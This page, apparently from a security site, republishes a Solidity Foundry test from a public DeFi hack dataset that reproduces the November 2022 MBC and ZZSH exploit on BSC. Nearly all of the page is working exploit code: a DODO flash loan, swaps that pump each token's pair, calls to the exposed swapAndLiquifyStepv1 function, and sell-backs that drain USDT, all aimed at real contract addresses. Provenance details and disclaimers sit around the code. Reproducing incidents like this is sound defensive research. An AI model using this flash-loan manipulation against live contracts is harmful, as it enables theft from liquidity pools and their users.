Skip to content
THREATWIRE

Public reproduction file

src/test/2022-11/MBC_ZZSH_exp.sol

Public reproduction file for dataset entry - MBC & ZZSH.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-11/MBC_ZZSH_exp.sol103 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/AnciliaInc/status/1597742575623888896
9// https://twitter.com/CertiKAlert/status/1597639717096460288
10// @TX
11// https://phalcon.blocksec.com/tx/bsc/0xdc53a6b5bf8e2962cf0e0eada6451f10956f4c0845a3ce134ddb050365f15c86
13interface IMBC is IERC20 {
14 function swapAndLiquifyStepv1() external;
17interface IZZSH is IERC20 {
18 function swapAndLiquifyStepv1() external;
21contract ContractTest is Test {
22 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
23 IERC20 ETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
24 IMBC MBC = IMBC(0x4E87880A72f6896E7e0a635A5838fFc89b13bd17);
25 IZZSH ZZSH = IZZSH(0xeE04a3f9795897fd74b7F04Bb299Ba25521606e6);
26 address dodo = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
28 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
29 Uni_Pair_V2 MBCPair = Uni_Pair_V2(0x5b1Bf836fba1836Ca7ffCE26f155c75dBFa4aDF1);
30 Uni_Pair_V2 ZZSHPair = Uni_Pair_V2(0x33CCA0E0CFf617a2aef1397113E779E42a06a74A);
32 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
34 uint256 dodoFlahloanAmount;
36 function setUp() public {
37 cheats.createSelectFork("bsc", 23_474_460);
38 }
40 function testExploit() public {
41 USDT.approve(address(Router), type(uint256).max);
42 MBC.approve(address(Router), type(uint256).max);
43 ZZSH.approve(address(Router), type(uint256).max);
44 dodoFlahloanAmount = USDT.balanceOf(dodo);
45 DVM(dodo).flashLoan(0, dodoFlahloanAmount, address(this), new bytes(1));
47 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
48 }
50 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
51 // Intial rate MBC/USDT -> 1.1365032200116891/1
52 // Pair getReserves -> 12475110456913920021663 / 10976748888389080860664
53 address[] memory path = new address[](2);
54 path[0] = address(USDT);
55 path[1] = address(MBC);
56 uint256[] memory values = Router.getAmountsOut(150_000 * 10 ** 18, path);
58 USDT.transfer(address(MBCPair), 150_000 * 10 ** 18);
60 MBCPair.swap(values[1], 0, address(this), "");
62 MBC.swapAndLiquifyStepv1();
64 // MBCPair.sync(); // unnecessary
66 // Altered rate MBC/USDT -> 0.0052991665156216445/1
67 // Pair getReserves -> 900258815097978209431 / 169886870405763976494888
69 USDT.transfer(address(MBCPair), 1001); // function() _isAddLiquidityV1()
70 MBC.transfer(address(MBCPair), MBC.balanceOf(address(this)));
71 (uint256 MBCReserve,,) = MBCPair.getReserves();
72 uint256 amountIn = MBC.balanceOf(address(MBCPair)) - MBCReserve;
73 path[0] = address(MBC);
74 path[1] = address(USDT);
75 values = Router.getAmountsOut(amountIn, path);
77 MBCPair.swap(0, values[1], address(this), "");
79 path[0] = address(USDT);
80 path[1] = address(ZZSH);
81 values = Router.getAmountsOut(150_000 * 10 ** 18, path);
83 USDT.transfer(address(ZZSHPair), 150_000 * 10 ** 18);
85 ZZSHPair.swap(0, values[1], address(this), "");
87 ZZSH.swapAndLiquifyStepv1();
89 // ZZSHPair.sync(); // unnecessary
91 USDT.transfer(address(ZZSHPair), 1001); // function() _isAddLiquidityV1()
92 ZZSH.transfer(address(ZZSHPair), ZZSH.balanceOf(address(this)));
93 (, uint256 ZZSHReserve,) = ZZSHPair.getReserves();
94 amountIn = ZZSH.balanceOf(address(ZZSHPair)) - ZZSHReserve;
95 path[0] = address(ZZSH);
96 path[1] = address(USDT);
97 values = Router.getAmountsOut(amountIn, path);
99 ZZSHPair.swap(values[1], 0, address(this), "");
101 USDT.transfer(dodo, dodoFlahloanAmount);
102 }

Analysis

Dataset entry

Public Foundry test for “- MBC & ZZSH” (2022-11-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
MBC & ZZSH
Path
src/test/2022-11/MBC_ZZSH_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2aca31b0aca7002d416cdc2d32cfa14801560147
Language
Solidity
Size
104 lines
Date
2022-11-29
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-11/MBC_ZZSH_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2aca31b0aca7002d416cdc2d32cfa14801560147, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.